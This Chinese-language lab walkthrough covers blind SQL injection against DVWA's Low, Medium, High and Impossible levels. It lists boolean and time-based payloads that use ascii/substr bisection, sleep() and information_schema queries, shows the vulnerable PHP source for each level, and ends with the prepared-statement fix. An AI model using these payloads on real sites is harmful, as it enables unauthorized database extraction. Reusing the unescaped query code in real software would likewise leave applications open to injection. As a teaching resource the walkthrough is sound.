盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注分为三类:
•基于布尔SQL盲注
•基于时间的SQL盲注
•基于报错的SQL盲注
构造payload让信息通过错误提示回显出来
LOW级别
id=1-5
显示User ID exists in the database.
id=1'或者大于5
显示User ID is MISSING from the database
id=1' or 1='1
显示User ID exists in the database.
id=1 or 1=1
显示User ID exists in the database.
id=1' and '1'='0
显示User ID is MISSING from the database.
id=1' and '1'='1
显示User ID exists in the database.
id=1 and 1=0
显示User ID exists in the database.
可以判断为单引号闭合
1.对ascii值爆破的方法:
输入1’ and length(database())=4 %23
,显示存在,所以数据库名为4个字符长度。
id=1' and if(ascii(substr((select database()),1,1))=100,1,0)%23&Submit=Submit
显示User ID exists in the database.说明数据库名第一个字母ascii为100,即d。同理可以知道数据库名为dvwa。
表的数量
id=1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 %23 显示不存在
id=1’ and (select count (table_name) from information_schema.tables where table_schema=database())=2 %23 显示存在
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 %23
显示User ID exists in the database.说明第一个数据表的第一个字母ascii为103,同理可以得到这个表的名字和下一个表users的名字。
2.手动二分法猜解
库名
id=1' and ascii(substr(databse(),1,1))>97 %23 ,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
id=1' and ascii(substr(databse(),1,1))<122 %23 ,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
id=1' and ascii(substr(databse(),1,1))<109 %23 ,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
id=1' and ascii(substr(databse(),1,1))<103 %23 ,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
id=1' and ascii(substr(databse(),1,1))<100 %23 ,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
id=1' and ascii(substr(databse(),1,1))>100 %23 ,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
表名
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 %23 显示存在
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 %23 显示存在
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 %23 显示存在
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 %23 显示不存在
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 %23 显示不存在
3.基于时间的盲注
id=1' and sleep(5)%23
有延迟
id=1 and sleep(5)%23
没有延迟
说明存在字符型的基于时间的盲注。
猜数据库名的长度
id=1' and if(length(database())=1,sleep(5),1)%23没有延迟
id=1' and if(length(database())=4,sleep(5),1)%23有延迟
说明库名长度为4
二分法猜解库名
id=1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)%23有延迟
···
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
库名第一个字母ascii为100
同理可以猜出表的个数 长度 名字以及列和数据。
源码:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
根据源码,发现id没有经过任何过滤就被放入sql语句。如果查询返回的结果数大于0就显示<pre>User ID exists in the database.</pre>,否则<pre>User ID is MISSING from the database.</pre>
Medium难度
变成了下拉选项,查看源码参数名为id且为post方式。hackbar或者burp抓包改参数即可
图片.png
id=1′ and 1=1报错
id=1 and 1=1正确
id=1 and 1=0报错
说明为数字型。
其余方法和low难度大同小异
布尔盲注:
id=1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
id=1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
id=1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。
时间盲注:
id=1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
id=1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;
id=1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。
源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
与low难度相比多了一个mysqli_real_escape_string函数转义,但是这里的参数是数字型,不需要单引号双引号去闭合,加不加这个函数效果一样。
High难度
在另外一个页面填写参数结果显示到该页面。
图片.png
id=1' and 1=1#正确
id=1' and 1=0#错误
id=1 and 1=1#正确
id=1 and 1=0#正确
所以是单引号闭合
另外有时候显示错误的时候,页面会延迟一会。
所以智能用布尔盲注。方法与前两个难度大同小异。
源码:
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
用COOKIE传递参数id,并且没有任何过滤,SQL语句后面加了一个limit 1限制返回的结果数为1。
另外如果查询的结果数<=0
if( rand( 0, 5 ) == 3 )
{
sleep( rand( 2, 4 ) );
}
该代码的意思是,在0-5随机生成一个随机整数数,如果该随机数等于3,就执行sleep(2,4)随机延迟2到4秒。所以不能用时间盲注,只能用布尔盲注。不过如果把时间盲注响应时间延长一点也是可以判断的,但是会很麻烦
Impossible难度
源码:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
加入token机制防止CSRF,仍然使用PDO预处理语句划清了数据与代码的界限,杜绝了SQL注入。